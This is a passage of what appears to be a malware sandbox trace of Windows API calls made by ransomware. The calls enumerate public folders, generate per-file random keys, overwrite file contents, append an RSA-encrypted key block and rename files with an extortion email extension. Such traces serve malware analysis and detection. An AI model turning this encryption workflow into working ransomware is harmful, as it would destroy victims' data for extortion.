GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e40 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e40 | out: hHeap=0x570000) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0149.343] FindNextFileW (in: hFindFile=0x630b40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.343] FindNextFileW (in: hFindFile=0x630b40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1536910e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1536910e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.344] GetLastError () returned 0x0 [0149.344] SetLastError (dwErrCode=0x0) [0149.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0149.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0149.344] GetLastError () returned 0x0 [0149.344] SetLastError (dwErrCode=0x0) [0149.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.344] FindNextFileW (in: hFindFile=0x630b40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1536910e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1536910e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0149.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.344] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.344] SetFileAttributesW (lpFileName="\\Users\\Public\\Downloads\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0149.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.344] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0149.344] CreateFileW (lpFileName="\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0149.344] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=174) returned 1 [0149.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x58e5c0 [0149.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x58e730 [0149.345] ReadFile (in: hFile=0x61c, lpBuffer=0x58e5c0, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e5c0*, lpNumberOfBytesRead=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0149.346] SetFilePointer (in: hFile=0x61c, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.346] WriteFile (in: hFile=0x61c, lpBuffer=0x58e730*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e730*, lpNumberOfBytesWritten=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0149.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0149.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0149.346] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xae [0149.346] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.346] WriteFile (in: hFile=0x61c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.346] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.346] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.346] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.346] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.346] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="d0UHFBNARhJP7D/XV7Vjv1lZSO/+sqHHBbMEoIw1XA1Qu/ltgtUU2FkcY0ZwD1BM\nq+O5Cr5hXYM2BlFzQ1Iin40/fJjHdU3Bf0/KUfV7FOB0/HJ2hQoI5lJ6piP24W2f\nUTI5EJmEEHJA8T09hPl/oD780+QVJxYP+/PtZlZsH0mOqtn1U/fBhxGsv+dTLfNU\n8sG/SsAqUy9PX1ZgA46TYdXZ/9CI38hiGq5s0jP0qXCqpKG2P/XeugMchAGEUyvK\n8BQ6tAIEGYJKqsuT8x6yyiX731NUZzNYDBCH+n9XkC3zebzKSkkk2j04k8U7NCXJ\nV0PgWy2rpghMDkMtJcvUXw==\n", pcchString=0x2e3f9a8) returned 1 [0149.347] WriteFile (in: hFile=0x61c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.347] WriteFile (in: hFile=0x61c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.347] CloseHandle (hObject=0x61c) returned 1 [0149.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.347] MoveFileExW (lpExistingFileName="\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), lpNewFileName="\\Users\\Public\\Downloads\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\downloads\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0149.349] FindFirstFileW (in: lpFileName="\\Users\\Public\\Libraries\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1538f2df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630a40 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.349] GetLastError () returned 0x0 [0149.349] SetLastError (dwErrCode=0x0) [0149.349] GetLastError () returned 0x0 [0149.349] SetLastError (dwErrCode=0x0) [0149.349] GetLastError () returned 0x0 [0149.349] SetLastError (dwErrCode=0x0) [0149.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0149.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e40 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e40 | out: hHeap=0x570000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0149.350] FindNextFileW (in: hFindFile=0x630a40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1538f2df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.350] GetLastError () returned 0x0 [0149.350] SetLastError (dwErrCode=0x0) [0149.350] GetLastError () returned 0x0 [0149.350] SetLastError (dwErrCode=0x0) [0149.350] GetLastError () returned 0x0 [0149.350] SetLastError (dwErrCode=0x0) [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eba0 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630980 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630980 | out: hHeap=0x570000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eba0 | out: hHeap=0x570000) returned 1 [0149.350] FindNextFileW (in: hFindFile=0x630a40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.350] GetLastError () returned 0x0 [0149.350] SetLastError (dwErrCode=0x0) [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.351] FindNextFileW (in: hFindFile=0x630a40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1538f2df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1538f2df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1538f2df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.351] FindNextFileW (in: hFindFile=0x630a40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] GetLastError () returned 0x0 [0149.351] SetLastError (dwErrCode=0x0) [0149.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0149.351] GetLastError () returned 0x0 [0149.352] SetLastError (dwErrCode=0x0) [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0149.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0149.352] FindNextFileW (in: hFindFile=0x630a40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.352] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.352] SetFileAttributesW (lpFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x80) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0149.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0149.352] CreateFileW (lpFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0149.353] GetFileSizeEx (in: hFile=0x620, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=960) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3c0) returned 0x5b5a90 [0149.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3c0) returned 0x5b5e58 [0149.353] ReadFile (in: hFile=0x620, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x3c0, lpOverlapped=0x0) returned 1 [0149.700] SetFilePointer (in: hFile=0x620, lDistanceToMove=-960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.701] WriteFile (in: hFile=0x620, lpBuffer=0x5b5e58*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3c0, lpOverlapped=0x0) returned 1 [0149.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0149.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e58 | out: hHeap=0x570000) returned 1 [0149.701] SetFilePointer (in: hFile=0x620, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3c0 [0149.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.701] WriteFile (in: hFile=0x620, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.701] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.702] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="fSobbXpdtlZMVS5PRqowLGKkQhwWZWML9StvP7LH8TlpXiqPoHjftm4UPc2ntjVX\n19rBUsezcOO9RzXVXGhC3ccRlRQuik+lLusGawcNe9MsQN3pfPPaAb5+WqYQXBg5\nYuZeJpFzQDgH8xxr5EiEnmZPo8eYe/5YbYk8C8uttoQUbNi8EakBBN8NUSBygTdh\n4GD1bvtRc5JYs2S9d0rDVjN+wA7HWV4E6nVJZ2FxvwKFpSuAVHA9cDXYrGDk2t7a\n46igYJeMMAMeEkq3Fvm+haNdpUMicOFWT5Y+ppYEhqJuY6puxN8XCK7IVY4yOqDZ\nh/MRd5wo2odPRqXopAlaIQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.702] WriteFile (in: hFile=0x620, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.702] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.702] WriteFile (in: hFile=0x620, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.702] CloseHandle (hObject=0x620) returned 1 [0149.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.702] MoveFileExW (lpExistingFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0149.703] HeapFree (in: hHeap=0x570000, 